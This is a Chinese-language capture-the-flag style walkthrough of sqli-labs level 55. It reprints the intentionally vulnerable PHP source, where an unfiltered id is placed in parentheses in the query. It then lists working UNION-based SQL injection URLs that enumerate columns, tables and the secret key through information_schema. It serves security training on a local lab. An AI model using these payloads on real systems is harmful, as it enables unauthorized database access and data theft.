sqli-labs通关笔记-第55关 GET数值型注入(括号闭合 限制14次探测机会)
目录
一、代码审计
1、源码分析
2、SQL注入风险分析
二、渗透实战
1、渗透准备
2、获取列数
3、判断回显位
4、爆数据库名
5、爆表名
6、爆列名
7、爆数据
8、输入密钥
SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节对第55关Less 55基于GET型的字符SQL注入关卡进行渗透实战,该关卡限制渗透尝试的次数。相对于54关卡,区别是闭合方式由单引号变为括号,且尝试次数由10次机会变为14次机会。
一、代码审计
1、源码分析
第55关卡是一个 SQL 注入挑战页面,相对于54关最主要的区别是闭合方式由单引号变为括号,对比如下所示。
第55关index.php经过注释后的源码如下所示。
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-55:Challenge-2</title>
</head><body bgcolor="#000000">
<div style ="text-align:right">
<form action="" method="post">
<!-- 重置挑战的表单按钮,提交后清除Cookie并重新生成随机数据 -->
<input type="submit" name="reset" value="Reset the Challenge!" />
</form>
</div>
<div style=" margin-top:20px;color:#FFF; font-size:23px; text-align:center">
Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00"><?php
// 引入数据库连接和工具函数(包含随机表名、列名生成逻辑)
include '../sql-connections/sql-connect-1.php';
include '../sql-connections/functions.php';
// 禁用PHP错误报告,避免泄露敏感信息(但增加盲注难度)
error_reporting(0);
// 获取当前页面URL,用于重定向时携带参数
$pag = $_SERVER['PHP_SELF'];
// 定义随机字符集(用于生成随机表名、列名等)
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
// 允许的最大尝试次数为14次
$times= 14;// 从工具函数中获取随机生成的表名和列名
$table = table_name(); // 随机表名
$col = column_name(1); // 第一列名(session ID列)
$col1 = column_name(2); // 第二列名(secret key列)// 处理用户提交的secret key(未提交时执行挑战逻辑)
if(!isset($_POST['answer_key'])) {// 处理重置请求if(isset($_POST['reset'])) {// 清除挑战相关Cookiesetcookie('challenge', ' ', time() - 3600000);echo "<font size=4>You have reset the Challenge</font><br>\n";// 4秒后重定向到挑战初始化页面header("refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag");} else {// 检查用户是否携带挑战Cookie(存储会话ID)if(isset($_COOKIE['challenge'])) {$sessid = $_COOKIE['challenge'];} else {// 生成Cookie并存储随机数据(有效期30天)$expire = time() + 60*60*24*30;$hash = data($table, $col); // 从随机表中获取数据生成Cookie值setcookie("challenge", $hash, $expire);}echo "<br>\n";// 处理用户通过GET提交的ID参数(核心注入点)if(isset($_GET['id'])) {$id = $_GET['id'];// 记录用户输入的ID到日志文件(未过滤输入,存在安全风险)$fp = fopen('result.txt', 'a');fwrite($fp, 'ID:'.$id."\n");fclose($fp);// 更新尝试次数(可能涉及数据库操作,需查看functions.php)next_tryy();// 获取已尝试次数并显示$tryyy = view_attempts();echo "You have made : ". $tryyy ." of $times attempts";echo "<br><br><br>\n";// 尝试次数超限后重置挑战if($tryyy >= ($times + 1)) {setcookie('challenge', ' ', time() - 3600000);echo "<font size=4>重置挑战:尝试次数超限</font><br>\n";header("refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag");}// **核心SQL查询语句**:存在SQL注入风险$sql = "SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";$result = mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);if($row) {// 查询成功时显示用户名和密码echo '<font color= "#00FFFF">';echo 'Your Login name:' . $row['username'];echo "<br>Your Password:" . $row['password'];echo "</font>";} else {// 查询失败时不显示错误信息(盲注场景)echo '<font color= "#FFFF00">';// print_r(mysqli_error($con1)); // 错误信息被注释,无法通过报错获取数据echo "</font>"; }} else {// 提示用户输入ID参数(示例:?id=1)echo "请输入ID参数(数字值),如实验练习所示\n<br><br>\n";echo "<font color='#00FFFF' size=3>挑战目标:在{$times}次内从'CHALLENGES'数据库的随机表中获取secret key<br>每次重置会生成新的随机表名、列名和数据</font><br>";}}
} else {// 处理用户提交的secret key(验证逻辑)echo '<div style=" color:#00FFFF; font-size:18px; text-align:center">';$key = addslashes($_POST['key']); // 对输入进行转义(防御SQL注入的尝试)$key = mysqli_real_escape_string($con1, $key); // 数据库层转义,增强安全性// 查询随机表验证secret key(表名和列名为随机生成)$sql = "SELECT 1 FROM $table WHERE $col1= '$key'";$result = mysqli_query($con1, $sql) or die("错误:".mysqli_error($con1)); // 错误信息可能泄露表/列名$row = mysqli_fetch_array($result, MYSQLI_BOTH);if($row) {// 验证成功时显示图片并重定向echo '<font color= "#FFFF00">';echo "\n<br><br><br><img src=\"../images/Less-54-1.jpg\" />";echo "</font>"; header("refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag"); } else {// 验证失败时显示图片并重定向echo '<font color= "#FFFF00">';echo "\n<br><br><br><img src=\"../images/slap1.jpg\" />";header("refresh:3;url=index.php");echo "</font>"; }
}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-55.jpg" />
</center>
<br><br><br>
<div style=" color:#00FFFF; font-size:18px; text-align:center">
<form name="input" action="" method="post">
Submit Secret Key: <input type="text" name="key">
<input type="submit" name="answer_key" value="Submit">
</form>
</div>
</body>
</html>
本关卡核心功能包括:通过 GET 参数 “id” 查询 “security.users” 表并显示用户信息,利用 COOKIE 存储挑战状态,提供重置功能以生成随机表名、列名和数据(存储于 “CHALLENGES” 数据库),用户需在 14 次尝试内通过注入获取随机表中的 “secret key” 并提交验证。代码存在 SQL 注入安全风险(“id” 参数未过滤),且没有打印数据库的信息导致使得无法通过报错法注入,同时随机化机制未有效防御枚举攻击,整体用于演示盲注场景下的渗透测试与防御逻辑。
2、SQL注入风险分析
本关卡具有SQL注入风险,参数id通过GET传入,只是被括号包裹却并未做任何过滤。
$id=$_GET['id'];
$sql = "SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
二、渗透实战
1、渗透准备
进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。
http://192.168.59.1/sqli-labs/
点击进入Page4挑战(Challenges)页面,如下图红框所示。
其中第55关在挑战关卡“SQLi-LABS Page-4(Challenges)”中, 点击进入如下页面。
http://127.0.0.1/sqli-labs/index-3.html#fm_imagemap
点击上图红框的Less55关卡,进入到靶场的第55关SQL注入关卡(限制14次),页面提示“ Please input the ID as parameter with numeric value as done in Lab excercises ”,以及“The objective of this challenge is to dump the (secret key) from only random table from Database ('CHALLENGES') in Less than 14 attempts,For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.”具体如下所示。
2、获取列数
如下所示,分别使用order by 3和order by 4来探测列数,列数为4时报错,列数为3时正常显示说明共有4列,如下所示。
http://192.168.59.1/sqli-labs/Less-55?id=1) order by 3 --+
http://192.168.59.1/sqli-labs/Less-55?id=1) order by 4 --+
3、判断回显位
如下所示,页面显示用户名位置显示2,在Password位置显示3,说明回显位为2和3。
http://192.168.59.1/sqli-labs/Less-55?id=-1) union select 1,2,3 --+
4、爆数据库名
如下所示,用户名显示信息为challenges,说明数据库名为“challenges”。
http://192.168.59.1/sqli-labs/Less-55?id=-1) union select 1,database(),3 --+
5、爆表名
如下所示,数据库challenges包含表格“fd9wl5oqrm”。
http://192.168.59.1/sqli-labs/Less-55?id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges' --+
6、爆列名
如下所示,fd9wl5oqrm表的列名包括id,sessid,secret_712B,tryy共4项目内容。
http://192.168.59.1/sqli-labs/Less-55?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='fd9wl5oqrm' --+
7、爆数据
如下所示,SQL注入获取到secret_712B对应的值为WcLio2y2ojLWsl0YX2YG1iY9。
http://192.168.59.1/sqli-labs/Less-55?id=-1) union select 1,2, secret_712B from challenges.fd9wl5oqrm--+
8、输入密钥
将 WcLio2y2ojLWsl0YX2YG1iY9输入到secret key对应的框内,渗透成功。
burpsuite抓包效果如下所示,说明渗透成功。